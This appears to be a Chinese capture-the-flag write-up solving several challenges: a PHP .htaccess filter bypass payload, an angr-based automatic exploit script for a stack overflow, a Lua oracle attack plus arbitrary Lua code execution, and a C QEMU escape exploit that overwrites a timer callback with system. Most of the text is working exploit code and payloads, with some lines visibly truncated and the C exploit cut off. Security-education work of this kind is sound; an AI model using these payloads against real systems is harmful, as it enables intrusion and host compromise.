题目质量好高,题目好评
0x01 Ezphp 题目描述ezphp php for beginner.
hint: no race condition
题目解答题目环境:apache+php
题目源码:
有两次unlink
,而且文件名不允许/
的存在,所以想要避开unlink
的删除,是基本不可能的了。
前面在内容限制了很多字符,之后查文档,发现字符几乎全部来自.htaccess
和 .user.ini
这两个可用来getshell的方法当中,查询新的可利用字段也没有得到什么好的点子。
所以问题就又回到了对 stristr
函数过滤掉的字符的bypass上来(正则实在过不去....,也没办法把这个函数给dis掉)
所以根据码代码时的换行符以及连接符可以联想构造出如下payload来getshell
php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"\\
最终执行命令得到flag
nc 117.50.100.23 42353
增加nc 117.50.93.78 10001
hints:
1) Search the strings carefully and we see the shining target through the fog of interesting tricks.
2) we have edited some logic of the rop.
题目解答程序有大概20个switch case,并且其中有嵌套循环,每个switch case只有一条正确出路,判断一下重复地址即可。最后有个栈溢出,覆盖地址为lea rdi,'/bin/cat flag'处执行system即可。
脚本如下:
import angr
from pwn import *
from z3 import *
import hashlib
import base64
import os
import binascii
def get_md5(s):
m = hashlib.md5()
m.update(s)
return m.hexdigest()
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size 25)) == data )
solver.check()
res = solver.model()
num = res[x]
if op == None:
op = 0x61
return p64(num.as_long())+bytes((op,10))
filename = './aeg_0'
io = remote('117.50.93.78', 10001)
io.recvuntil('Start Pow\n')
the_md5 = io.recvuntil('\n',drop=True)
data = io.recvuntil('\n',drop=True)
print(data)
prefix = binascii.a2b_hex(data[:-1])
st = int(data.decode('utf-8')[-1],16)= 18 and aid < 133:
#print(hex(addr))
start_node = cfg.get_any_node(addr)
pre = start_node.predecessors
if len(pre) > 0:
if pre[0].addr - 0xf1 == main_addr:
print('start_node found! at %s'%hex(start_node.addr))
break
#tmp_elf = change_ld(filename,'./ld-2.27.so')
#io = tmp_elf.process(env={'LD_PRELOAD':'./libc.so.6'})
#context.log_level='debug'
#context.terminal = ['tmux', 'split', '-h']
#gdb.attach(io)#,"b *0x4BFB070")
#input()
#context.log_level='debug'
io.recvuntil('Start.\n')
ans = b""
tmp = deal_check(start_node.addr)
print('++++++++++++++++++')
io.send(tmp)
the_end = get_end(start_node.addr)
start_node_next = (the_end-0x11+5+u32(elf.read(the_end-0x10,4)))&0xffffffff
print('start_node_next :%s'%hex(start_node_next))
all_no_use = []
all_switch = []
all_switch.append(start_node_next)
all_next_switch = get_all_switch(start_node_next)
#print(all_next_switch)
for next_switch,switch_num in all_next_switch:
the_end = get_end(next_switch)
the_jmp_rax = get_jmp_rax(the_end)
if the_jmp_rax == None:
all_no_use.append(next_switch)
else:
real_next_switch = next_switch
tmp = deal_check(start_node_next,op=0x60+switch_num)
ans += tmp
io.send(tmp)
all_switch.append(real_next_switch)
#print(all_switch)
#print(ans)
for i in range(18):
all_next_switch = get_all_switch(real_next_switch)
tmp_no_use = []
#print(all_next_switch)
for next_switch,switch_num in all_next_switch:
check_next = get_all_switch(next_switch)
if len(check_next) < 4:
tmp_no_use.append(next_switch)
else:
tmp = deal_check(real_next_switch,op=0x60+switch_num)
ans += tmp
io.send(tmp)
real_next_switch = next_switch
all_switch.append(real_next_switch)
all_no_use.extend(tmp_no_use)
if len(all_no_use) > 3:
all_no_use = all_no_use[-3:]
if len(all_switch) > 3:
all_switch = all_switch[-3:]
print(hex(real_next_switch))
all_next_switch = get_all_switch(real_next_switch)
for next_switch,switch_num in all_next_switch:
try:
check_next = get_all_switch(next_switch)
except:
tmp = deal_check(real_next_switch,op=0x60+switch_num)
io.send(tmp)
real_next_switch = next_switch
print(hex(real_next_switch))
context.log_level='debug'
tmp = deal_check(real_next_switch,op=0x77)
io.send(tmp)
eval_addr = cfg.get_any_node(0x400890).predecessors[0].addr
print('eval_addr :%s'%hex(eval_addr))
#print(len(ans))
#print(ans)
#io.recvuntil('Congratulation')
sleep(0.1)
io.send(p64(eval_addr)*4)
io.interactive()
0x03 ls
题目描述
there are two flags in the form of xnuca{…}. Please submit the concatenation of the two string between the brackets (brackets not included). E.g. if the first flag is xnuca{here_is_flag1}, the second flag is xnuca{here_is_flag2}, please submit: here_is_flag1here_is_flag2.
NOTICE: The following host port isn't this program's service.
nc 4438af7809b0.gamectf.com 9901
nc 55a11bac354f.gamectf.com 9901
题目解答首先把题目逆一下,发现逻辑是非常简单的,但是二进制里面实际上带了一个lua解释器,真正需要看的是lua代码,代码就在程序里面,但是做了压缩,blzpack
,搜一下就可以知道怎么解压拿到代码,我是直接等程序解压完,从内存里读出来的,一共有一万多行,关键部分如下。
-- do reverse
if req_method == "POST" and req_headers:get("referer") == 'xnuca' then
local cl = req_headers:get("content-length")
local x = tonumber(stream.connection:read_body_by_length(tonumber(cl)))
local res = (secret + x ) < (secret - 3 * x) and 1 or 0
res_headers:upsert(":status", "201")
res_headers:append("content-type", "text/plain")
assert(stream:write_headers(res_headers, false))
stream:write_chunk(tostring(res)..'\n',false)
for i = 0,255,1
do
stream:write_chunk('number?'..'\n',false)
local tmp = stream.connection:read_body_by_length(2)
local num_of_digits = tonumber(tmp)
if num_of_digits == -1 then break end
local new_x = tonumber(stream.connection:read_body_by_length(num_of_digits))
calc_oracle(new_x)
end
stream:write_chunk('did you get the secret?'..'\n',false,5)
local num_of_digits = tonumber(stream.connection:read_body_by_length(2))
stream:write_chunk('your guess?'..'\n',false,5)
local ans = tonumber(stream.connection:read_body_by_length(num_of_digits))
if ans == secret then
stream:write_chunk("correct, here is your flag 1:\n")
re_flag=io.open("flag1.txt",'r')
tmp=re_flag:read "*a"
stream:write_chunk(tmp)
elseif ans > secret then
print(secret,ans)
stream:write_chunk("nope.")
return
else
stream:write_chunk("nope.")
return
end
end
-- do pwn
if req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' then
local body_length = tonumber(stream.connection:read_body_by_length(4))
local body = stream.connection:read_body_by_length(body_length)
-- print(cl,body)
hex_dump(body)
x = load(body)
x()
return
end
这样看来就很明确了,先做一个逆向,猜出 secret
得一个flag,再任意代码执行,获取另一个flag。
关于逆向,需要利用lua的整数溢出特性,利用二分法来找一个临界值,进而算出可能的 secret
值,这里就比较坑了,我的方法实测成功率约20%;关于任意代码执行,也比较坑,首先需要列目录,将结果放到 work_dir
里,再去读flag文件。
此外还要写个申请docker的程序。
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def crack(s):
chrset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEF'
for c1 in chrset:
for c2 in chrset:
for c3 in chrset:
for c4 in chrset:
for c5 in chrset:
test = c1 + c2 + c3 + c4 + c5
if sha256sumhex(test) == s:
return test
error('fail to crack hash: {}'.format(s))
# 申请docker
ctx.remote = ('55a11bac354f.gamectf.com', 9901)
rs('remote')
sla('token', 'icqd741eeee3154b1c8fc866fe18e468')
ru('== \'')
some_hash = ru('\'')
sla('is :', crack(some_hash))
r()
# 申请完自己填ip端口什么的
def toluaint(i):
i = i & 0xffffffffffffffff
if i > 0x8000000000000000:
return -(0x10000000000000000 - i)
else:
return i
def http_packet(content, ua='test'):
packetfmt = '''POST / HTTP/1.1\r
Content-Length: {}\r
Content-Type: text/html\r
Connection: keep-alive\r
Accept: */*\r
Referer: xnuca\r
User-Agent: {}\r
\r
{}\r
'''
return packetfmt.format(len(content)+2, ua, content)
def getresult(x):
ctx.clean()
length = len(hex(x))
s(length)
s(hex(x))
ru('2\r\n')
result = ru('\n')
if result == '1':
return True
elif result == '0':
return False
else:
error('error result:{}'.format(result))
def crack():
a = 0
min = 0x8000000000000000
max = 0x10000000000000000
while True:
x = (max + min) / 2
print('count:', a)
#print('max:', max)
#print('min:', min)
#print('mid:', x)
if (max == min+1):
break
if(getresult(x)):
max = x
else:
min = x
a += 1
print('possible result from \n{}\nto\n{}\n'.format(
hex(toluaint(min*3)+0x8000000000000000),
hex(toluaint(max*3)+0x8000000000000000)))
return hex(toluaint(min*3)+0x8000000000000000)
ctx.remote = ('117.50.64.144', 26544)
#ctx.remote = ('localhost', 8000)
rs('remote')
s(http_packet('1', ua='ww9210'))
context.log_level = 'info'
min_val = crack()
context.log_level = 'debug'
s(-1)
sa('did you get the secret', len(min_val))
sa('your guess', min_val)
ru('\r\n')
msg_len = int(ru('\r\n'), 16)
msg = r(msg_len)
ru('\r\n')
if 'flag 1' in msg:
success('get flag1')
else:
error('no flag1')
flag1_len = int(ru('\r\n'), 16)
flag1 = r(flag1_len)
ru('\r\n')
payload = '''
require 'lfs'
function getpaths(rootpath, pathes)
pathes = pathes or {}
for entry in lfs.dir(rootpath) do
if entry ~= '.' and entry ~= '..' then
local path = rootpath..'/'..entry
local attr = lfs.attributes(path)
assert(type(attr) == 'table')
if attr.mode == 'directory' then
getpaths(path, pathes)
else
table.insert(pathes, path)
end
end
end
return pathes
end
f=io.open("./work_dir/path", 'w')
pathes = {}
getpaths('.', pathes)
for i = 1, #(pathes) do
f:write(pathes[i])
f:write(' ')
end
f:close()
'''
payload2 = '''
function common_copy(sourcefile,destinationfile)
local temp_content ="";
io.input(sourcefile)
temp_content = io.read("*a")
io.output(destinationfile)
io.write(temp_content)
io.flush()
io.close()
end
common_copy("./flag009d9713831dca08e944ed901aede7f1.txt", "./work_dir/test")
'''
# 这里就先发payload,等拿到flag文件名,再发payload2
s(str(len(payload2)).ljust(4, ' '))
s(payload2)
ctx.recvall()
user: root
pass: goodluck
Try to escape the QEMU world!
nc 35f56326858b.gamectf.com 30007
增加 nc ec3247983443.gamectf.com 30007
题目解答利用ioport write将opaque->memorymode设为1,就可以通过设置opaque->req.offset
,在vexx_cmb_write
以及vexx_cmb_read
函数中对opaque->req.req_buf
进行越界读写,由于该buf后存在一个timer结构体,可以利用越界读获取堆地址以及程序基址。然后利用越界写将timer结构体中的cb
覆盖为system
地址,opaque
覆盖为参数地址,最终触发timer,拿到flag:flag{SOEASY_Escape_qemu_from_timer}
Exp 如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;
unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
uint8_t mmio_read(uint32_t addr)
{
return *((uint8_t*) (mmio_mem+addr));
}
void mmio_write(uint32_t addr, uint8_t value)
{
*( (uint32_t *) (mmio_mem+addr) ) = value;
}
uint8_t cmb_read(uint32_t addr)
{
return *((uint8_t*) (cmb_mem+addr));
}
void cmb_write(uint32_t addr, uint8_t value)
{
*( (uint8_t *) (cmb_mem+addr) ) = value;
}
void pmio_write(uint32_t addr, uint32_t value)
{
outb(value,addr);
}
uint8_t pmio_read(uint32_t addr)
{
return (uint32_t)inb(addr);
}
void set_offset(uint32_t value)
{
pmio_write(pmio_base+0x10, value);
}
void set_memorymode(uint32_t value)
{
pmio_write(pmio_base+0x0, value);
}
uint8_t arbitrary_read(uint32_t offset)
{
set_offset(offset);
return cmb_read(0x100);
}
void arbitrary_write(uint32_t offset, uint8_t value)
{
set_offset(offset);
cmb_write(0x100, value);
}
void normal_write(uint32_t offset, uint8_t value)
{
set_offset(offset);
cmb_write(0x0, value);
}
int main(int argc, char *argv[])
{
//step 1 mmap /dev/mem to system, (man mem) to see the detail
system( "mknod -m 660 /dev/mem c 1 1" );
//step2 map the address to fd
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );
if ( !cmb_mem ) {
die("mmap cmb mem failed");
}
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
set_memorymode(1);
uint64_t heap_addr=0,tmp;
uint32_t i;
for (i=0;i
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录